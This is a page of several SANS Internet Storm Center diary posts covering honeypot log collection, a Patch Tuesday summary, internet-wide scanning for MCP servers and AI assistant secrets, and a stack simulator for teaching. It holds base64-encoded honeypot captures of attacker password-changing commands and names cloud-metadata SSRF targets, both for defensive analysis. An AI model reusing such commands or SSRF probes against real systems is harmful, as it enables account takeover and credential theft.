The following have been added to the DShield SIEM to provide additional information about what the DShield sensor [1] is receiving. These 2-addition installed in the DShield sensor provide direct collection of TTY logs [2] and Suricata [3] which are now reported to the DShield SIEM. The TTY logs are parsed and uploaded daily at 23:58Z which can be reviewed in the DShield - Traffic Analysis tab to match the TTY Log Hashes and shows which actor ran any series of commands while logged in the sensor. 

The TTY logs are base64 encoded before they are sent to the SIEM and decoded by Kibana upon review. TTY logs in base64 format:

transaction.id: 021d88f11b09defc8756e1bd6eabaea8113b3fbf917c9bd4fef4f546a1c9512a
event.hash: ZWNobyAtZSAieCFcbjBPc0NsT21WU0JGOVxuME9zQ2xPbVZTQkY5InxwYXNzd2R8YmFzaC1iYXNoOiBFbnRlcjogY29tbWFuZCBub3QgZm91bmQK
transaction.id: 02caa940d3e30057af8235125c8376b2394622118344516895b045a6fe9b5ecb
event.hash: ZWNobyAtZSAiMTIzXG53QjV1clY4NXFxa1dcbndCNXVyVjg1cXFrVyJ8cGFzc3dkfGJhc2gtYmFzaDogRW50ZXI6IGNvbW1hbmQgbm90IGZvdW5kCg==
transaction.id: 052b36a73707754c7d49814cdc1f32fef3f72d334a7479f78f11c3229c1599d9
event.hash: ZWNobyAtZSAieCFcbkNLbGFOS0lOdWlYalxuQ0tsYU5LSU51aVhqInxwYXNzd2R8YmFzaC1iYXNoOiBFbnRlcjogY29tbWFuZCBub3QgZm91bmQK

The TTY logs are parsed once per day and uploaded directly into DShield SIEM with filebeat. The BASH script needs to be installed and configure according to the GitHub page [2] to provide a transcript of the activity reviewed in Kibana.

The addition of Suricata [3] is also available in the DShield dashboards and linked to all other logs. 

An updated dashboard now contains these changes to reflect the ability to share between sub-dashboard most of the queries selected (i.e. selecting an IP will replicate everywhere). 

The dashboard also has a Threat Map that can be used to view the logs traffic activity in "movement".

Jesse and I are at SANSFIRE, if you are onsite, come tonight at the SANSFIRE 2026 Honeypot Workshop in Independence A - West (Level 5B) at 6:45 PM.

[1] https://isc.sans.edu/honeypot.html
[2] https://github.com/bruneaug/DShield-SIEM/blob/main/AddOn/TTYLogs_To_DShield-SIEM.md
[3] https://github.com/bruneaug/DShield-SIEM/blob/main/AddOn/Configure_Suricata.md
[4] https://isc.sans.edu/diary/DShield+SIEM+Docker+Updates/32276
[5] https://github.com/bruneaug/DShield-SIEM/tree/main

-----------
Guy Bruneau IPSS Inc.
My GitHub Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

Given the large number of vulnerabilities, it is difficult to point out "noteworthy" issues. 

Already exploited vulnerabilities:

CVE-2026-56155 : Active Directory Federation Services Elevation of Privilege Vulnerability. This is an important (not critical) vulnerablity. 

CVE-2026-56164: Microsoft SharePoint Server Elevation of Privilege Vulnerability. Microsoft considers this vulnerability's severity only moderate. 

Disclosed but not yet exploited:

CVE-2026-50661: Windows BitLocker Security Feature Bypass Vulnerability. It is not clear right now if this is one of the Nightmare Eclipse vulnerabilities. "Anonymous" is credited with discovering the vulnerability.

Random Interesting Vulnerabilities:

CVE-2026-54128: Windows DHCP Client Remote Code Execution Vulnerability. A critical vulnerability, but it will require the victim to connect to a network exposed to a malicious DHCP server. Certainly interesting for "public wifi network" attacks. There are also a few critical DHCP server RCE vulnerabilities being addressed in this update.

CVE-2026-54982, CVE-2026-54995: Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability. Two critical vulnerabilities. Just like DHCP, the exploit will typically require network-adjacent attackers. I have seen several similar vulnerabilities in MSFT updates in the past, but not seen exploits.

A quick word on how to deal with this flood of new vulnerabilities: You still own the same number of Microsoft products. Many products (Office..) are affected by a large number of vulnerabilities. Patching the product should not take a lot more time just because the patch addresses more vulnerabilities.

--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

I pulled 14 days of Apache and ModSecurity logs from a single small web host. Nothing special about it. A handful of low-traffic virtual hosts. A WordPress site, a couple of custom application backends, a static devotional site. The kind of server that exists by the millions and that nobody would call a high-value target. Server IP and hostnames are anonymized throughout this diary.

The point of looking was not to find a breach. It was to see what the background radiation of internet scanning looks like in 2026. Most of it is exactly what you would expect. WordPress xmlrpc floods. Endless .env probing. Git config fishing. But mixed into the noise was a category of scanning I had not seen documented before. Someone is systematically looking for Model Context Protocol servers, AI assistant configuration files, and locally exposed LLM endpoints. On a server that runs none of those things.

The overall picture

Figure 1 breaks down the reconnaissance categories that ModSecurity flagged over the two-week window. I split them into two groups. The classic cloud and application recon that every server sees, and the newer AI-agent recon that is the subject of this diary.

???????

Spring Boot Actuator scanning dominates by request volume. That is not new. The full set of actuator endpoints including /actuator/heapdump and /actuator/env gets hit hundreds of times from dozens of sources. The interesting part is the group below it. MCP handshakes, LLM API probes, AI assistant secret fishing, and MCP config files together account for roughly 200 requests. And the MCP protocol handshake category came from 49 distinct source IPs, more spread than any other category in the dataset. This is not one researcher. It is a broad, distributed scan.

The Part That Stood Out: A Real MCP Handshake

Most scanning is dumb. A bot requests a path, checks the status code, moves on. The POST /mcp probes were different. Every one of them carried a valid JSON-RPC 2.0 body performing a Model Context Protocol initialize call.

This matters. The scanner is not blindly requesting a URL. It is speaking the protocol. It sends a correctly formed handshake with a real MCP protocol version and waits to see if something on the other end answers like an MCP server. If your server responds to that initialize call then the next steps are to enumerate the tools the server exposes, the data sources it connects to, and whatever it can be convinced to do. Figure 2 shows the flow.

For readers who have not deployed one yet: an MCP server is the bridge that lets an AI agent call tools and read data sources. It is the thing that gives a model access to your database, your file system, your ticketing system, your internal APIs. An exposed and unauthenticated MCP server is close to the worst case. It is a remote, machine-readable menu of everything an agent can touch, offered to anyone who completes the handshake. The scanners clearly know this and are looking for them at internet scale.

Fishing for AI Assistant Configs and Credentials

Alongside the live-server handshakes, the scanners fished aggressively for configuration and credential files belonging to AI coding assistants. These are the files that tools like Claude and Cursor write to a project or home directory. When developers accidentally deploy them to a web root, they leak.

The paths requested were specific and current. Not guesses. Someone built this wordlist recently and from real knowledge of how these tools store their settings.

The use of HEAD for the credential files is a tell. HEAD returns headers without a body. The scanner is checking whether the file exists before spending bandwidth to download it. That is an efficiency optimization you build when you are scanning a very large number of hosts and expect most to be misses. It signals a mature, wide campaign rather than a one-off curiosity probe.

The same run also fished for cloud credential files across every major provider. Figure 3 shows the spread. Generic credentials.json, then GCP, AWS, and Azure specific variants, then Kubernetes and application-specific names. The AI assistant credentials sit inside this same wordlist, which tells you the tooling authors now treat AI assistant secrets as just another cloud credential worth harvesting.

Looking for Unauthenticated LLM Endpoints

The third strand was probing for exposed LLM inference endpoints. Two signatures dominated.

• GET /v1/models is the OpenAI-compatible model-listing endpoint. Dozens of self-hosted inference servers expose it. If it answers without authentication then the host is running a model that anyone can query, which means free compute for the attacker and a potential pivot point.
• GET /api/tags is the Ollama endpoint that lists locally installed models. Ollama binds to localhost by default but is very commonly exposed to the network by accident. A response here is a strong signal of an unauthenticated local LLM.

Neither endpoint exists on the host I was looking at. Both were requested repeatedly from multiple sources. The scanners are casting a wide net for anyone who stood up a local model and forgot to put it behind authentication.

The Classic That Rode Along: Cloud Metadata SSRF

Bundled with the AI-agent recon was a familiar technique that pairs naturally with it. SSRF attempts targeting the cloud metadata service to steal instance credentials.

The scanner rotates the parameter name across url, uri, path, and dest. It is looking for any proxy or fetch endpoint that will follow a supplied URL. The target is the GCP metadata endpoint that returns a service-account token. This is worth flagging in the AI context because agent and LLM tooling frequently includes fetch-style helpers that take a URL and retrieve it. That is exactly the kind of endpoint this probe is built to find. An MCP server or an agent tool that fetches arbitrary URLs is a ready-made SSRF primitive.

What to Check on Your Own Hosts

Concrete things to look for in your own logs and infrastructure.

• Grep for the MCP handshake. Search access logs for POST /mcp and /sse. If you do not run an MCP server, any such request is pure recon and a useful indicator to block. If you do run one, confirm it requires authentication and is not reachable from the internet.
• Hunt for AI-config paths in your web roots. Make sure no .claude/, .cursor/, .vscode/mcp.json, or .credentials.json file is served by your web server. These belong in developer home directories, never in a deployed web root.
• Check for accidentally exposed LLM endpoints. From outside your network, request /v1/models and /api/tags against your hosts. If either answers, you have an unauthenticated model exposed.
• Review fetch-style endpoints for SSRF. Any endpoint that takes a URL parameter and retrieves it should block requests to 169.254.169.254 and metadata.google.internal. This applies doubly to agent tooling.
• Enable metadata service protection. On GCP use metadata server v1 with header enforcement. On AWS require IMDSv2. This defangs the metadata SSRF even if a vulnerable fetch endpoint exists.

Indicator Reference

The full set of AI-agent recon signatures observed, with the intent behind each.

Conclusion

None of the AI-agent infrastructure the scanners were looking for existed on this host. That is the point. This is broad, opportunistic, internet-wide scanning that has already added MCP servers, AI assistant credentials, and local LLM endpoints to its standard target list. The tooling authors did not wait for these deployments to become common. They are scanning ahead of the curve, ready for the moment a developer exposes one.

The lesson for defenders is simple. Your attack surface grew when your organization adopted AI agents, and the scanners already know it. An exposed MCP server is a machine-readable inventory of everything an agent can do, offered to anyone who speaks the protocol. An AI assistant credential file in a web root is a working key. A local LLM without authentication is free compute and a pivot point. Treat all three as the sensitive, internet-facing assets they now are. The scanning confirms someone else already does.

Manuel Humberto Santander Peláez
SANS Internet Storm Center - Handler
X: @manuelsantander
Mastodon:manuelsantander@infosec.exchange
Linkedin: https://linkedin.com/in/manuelsantander
email: msantand@isc.sans.org

Didier Stevens
Senior handler
blog.DidierStevens.com

In the SANS class FOR610[1] (malware analysis), there is an introduction to assembly and, when students learn how functions work, they have to understand how the stack also works. If you’ve no prior experience, it could be a bit challenging. To help students to vizualise how the stack works, I created a “stack simulator” that allows to “see” what’s happening when code is executed.

How does it work?

1. Select the architecture (32-64 bits) in the assembly editor
2. Select a predefined set of instructions (“lesson”, “call”, “prologue”, …).
3. Click on “Step” to you can see the impact on the stack and registers (like in a debugger).

Note that you can modify the predefined ASM code and add your own instructions.

The stack simulator is available on my website[2].

If you’re interested in malware analysis, my next classes will be:

• SANS Tokyo Autumn 2026 [3]
• SANS Paris November 2026 [4]

[1] https://www.sans.org/cyber-security-courses/reverse-engineering-malware-malware-analysis-tools-techniques
[2] https://xameco.be/stack-simulator.html
[3] https://www.sans.org/cyber-security-training-events/tokyo-autumn-2026
[4] https://www.sans.org/cyber-security-training-events/paris-november-2026

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key